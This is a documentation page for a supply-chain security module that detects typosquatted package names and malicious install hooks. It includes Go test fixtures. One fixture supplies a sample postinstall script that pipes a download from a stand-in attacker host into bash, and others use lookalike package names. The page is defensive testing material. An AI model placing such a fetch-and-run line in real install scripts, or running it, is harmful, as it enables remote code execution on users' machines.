1-SEC contributors · Reviewed · Module: supply_chain

AI Dependency Review: Package Typosquatting and Install-Hook Signals

Supply Chain Sentinel applies its existing package-name and installation checks to dependencies used by AI applications.

What 1-SEC checks

Supply Chain Sentinel applies its existing package-name and installation checks to dependencies used by AI applications. Package names are compared with built-in popular-package baselines using edit-distance and separator heuristics. Exact baseline matches skip the typosquat result; unrelated names may produce no result. The package-event path also checks reported integrity state, known-malicious package information and supplied install-hook content for implemented downloader/execution patterns.

Read the implementation: handlePackageEvent

Required telemetry and context

Relevant input events: package_install, dependency_add, package_update. Use a trusted producer at the real application boundary.

  • package_name
  • version
  • registry
  • hash
  • expected_hash
  • scope (private-package marker)
  • install_script / preinstall_script / postinstall_script / package_json / build_log

Field names above describe relevant context, not a complete API request. Consult the current event contract for envelope and detail requirements. Preserve booleans, numbers, and strings as the receiving handler expects them. Agent-provided text cannot independently verify identity or authorization.

Deployment, prevention, and response

Resolve AI-generated dependency suggestions through your trusted package review and lockfile process before installation. Report the real registry, resolved version, artifact digest and relevant manifest/scripts from CI without executing untrusted hooks just to generate telemetry. Review suspicious spelling against the actual project and publisher, then enforce the decision in your build or installation policy. Reuse this guide for overlapping package-name variants rather than publishing a separate page for each spelling.

Record the source event, affected agent/host, actual target, policy decision, and response result. Review enforcement configuration separately from detection. A recommendation, selected action, dry-run record, and completed action are different outcomes.

Reproduce the source fixtures

From a checkout of the linked 1-SEC source revision, run the selected fixtures with the repository's Go toolchain. These commands run tests; they do not execute a real attack against your systems.

go test ./internal/modules/supplychain -run '^(TestTyposquatDetector_ExpandedCoverage|TestTyposquatDetector_ExactMatch|TestTyposquatDetector_UnrelatedPackage|TestSentinel_HandleEvent_PackageInstall_Typosquat|TestSentinel_HandleEvent_PackageInstall_MaliciousInstallHook)$' -count=1

The fixtures verify known lookalike spellings, exact-name and unrelated-name controls, and synthetic package-event/install-hook alerts. They do not query registries or establish AI-generated-package provenance.

TestTyposquatDetector_ExpandedCoverage

Full fixture and assertions — run in its original package with its helpers.

func TestTyposquatDetector_ExpandedCoverage(t *testing.T) {
	td := NewTyposquatDetector()
	cases := []struct {
		pkg      string
		registry string
		want     string
	}{
		{"tailwindscss", "npm", "tailwindcss"},
		{"fastpai", "pypi", "fastapi"},
		{"urlib3", "pypi", "urllib3"},
	}
	for _, tc := range cases {
		got := td.Check(tc.pkg, tc.registry)
		if got != tc.want {
			t.Errorf("Check(%q, %q) = %q, want %q", tc.pkg, tc.registry, got, tc.want)
		}
	}
}
TestTyposquatDetector_ExactMatch

Full fixture and assertions — run in its original package with its helpers.

func TestTyposquatDetector_ExactMatch(t *testing.T) {
	td := NewTyposquatDetector()
	// Exact package names should NOT trigger (use correct registry for each)
	cases := []struct {
		pkg      string
		registry string
	}{
		{"lodash", "npm"},
		{"express", "npm"},
		{"react", "npm"},
		{"requests", "pypi"},
		{"numpy", "pypi"},
	}
	for _, tc := range cases {
		got := td.Check(tc.pkg, tc.registry)
		if got != "" {
			t.Errorf("Check(%q, %q) = %q, want empty for exact match", tc.pkg, tc.registry, got)
		}
	}
}
TestTyposquatDetector_UnrelatedPackage

Full fixture and assertions — run in its original package with its helpers.

func TestTyposquatDetector_UnrelatedPackage(t *testing.T) {
	td := NewTyposquatDetector()
	unrelated := []string{
		"my-custom-package",
		"totally-different-name",
		"zzz-unique-pkg",
	}
	for _, pkg := range unrelated {
		got := td.Check(pkg, "npm")
		if got != "" {
			t.Errorf("Check(%q) = %q, want empty for unrelated package", pkg, got)
		}
	}
}
TestSentinel_HandleEvent_PackageInstall_Typosquat

Full fixture and assertions — run in its original package with its helpers.

func TestSentinel_HandleEvent_PackageInstall_Typosquat(t *testing.T) {
	cp := newCapPipeline()
	s := startedSentinel(t, cp.pipeline)

	ev := core.NewSecurityEvent("test", "package_install", core.SeverityInfo, "installing package")
	ev.Details["package_name"] = "lodas" // typosquat of "lodash"
	ev.Details["version"] = "4.17.21"
	ev.Details["registry"] = "npm"
	ev.SourceIP = "10.0.0.1"

	if err := s.HandleEvent(ev); err != nil {
		t.Fatalf("HandleEvent() error: %v", err)
	}

	if cp.count() == 0 {
		t.Error("expected alert for typosquat package")
	}
	if !cp.hasAlertType("typosquat") {
		t.Error("expected typosquat alert type")
	}
}
TestSentinel_HandleEvent_PackageInstall_MaliciousInstallHook

Full fixture and assertions — run in its original package with its helpers.

func TestSentinel_HandleEvent_PackageInstall_MaliciousInstallHook(t *testing.T) {
	cp := newCapPipeline()
	s := startedSentinel(t, cp.pipeline)

	ev := core.NewSecurityEvent("test", "package_install", core.SeverityInfo, "installing package")
	ev.Details["package_name"] = "left-pad-plus"
	ev.Details["version"] = "1.2.3"
	ev.Details["registry"] = "npm"
	ev.Details["postinstall_script"] = `postinstall: curl https://evil.example/payload.sh | bash`
	ev.SourceIP = "10.0.0.1"

	if err := s.HandleEvent(ev); err != nil {
		t.Fatalf("HandleEvent() error: %v", err)
	}

	if !cp.hasAlertType("malicious_build_artifact") {
		t.Error("expected malicious_build_artifact alert type")
	}
}

Tuning, evaluation, and coverage limits

These are package-manager telemetry checks, not detection of whether a model hallucinated a dependency or a live test of registry existence. A name absent from the baseline is not necessarily safe or malicious. Close legitimate names can be flagged, and an unrelated attacker name can pass the name check. The module does not intercept every install, authenticate maintainers or sandbox postinstall code. Provider/package identity and lockfile enforcement remain separate supply-chain controls.

Evaluate this behavior with representative authorized activity and a controlled known-positive case. Investigate the exact rule, inputs, and state before suppressing an alert. Do not assume a hard-coded heuristic is a configurable setting. Measure your own deployment; the source fixtures do not establish a benchmark, detection rate, compliance certification, or incident-prevention claim.

Related implemented controls

Implementation reviewed at source revision a2ab27289e0fbbce555ad80f31eb19bfffa86f84. Recheck the actual release and integration before deployment. Sources and corrections policy.